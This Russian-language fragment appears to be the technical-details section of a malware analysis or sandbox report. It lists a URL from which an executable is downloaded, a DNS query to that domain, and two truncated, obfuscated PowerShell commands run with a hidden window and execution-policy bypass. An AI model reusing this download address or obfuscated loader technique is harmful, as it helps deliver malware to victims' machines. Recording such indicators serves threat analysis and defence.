Техническая информация
- \https://iniwarinta.date/printing_s\ как \$des\8213078.exe\
- '<SYSTEM32>\cmd.exe' /c"pOwErsHeLl -noPRoFI -Win HiDden -noLo -nONinTeRa -ExeCuTIOnP byPass "$7d0mK6 = [Type](\"{1}{0}{3}{2}\" -f 'on','eNVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 31;${D`es} = $7d0mk6::...
- DNS ASK in###rinta.date
- '<SYSTEM32>\cmd.exe' /c"pOwErsHeLl -noPRoFI -Win HiDden -noLo -nONinTeRa -ExeCuTIOnP byPass "$7d0mK6 = [Type](\"{1}{0}{3}{2}\" -f 'on','eNVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 31;${D`es} = $7d0mk6::...' (со скрытым окном)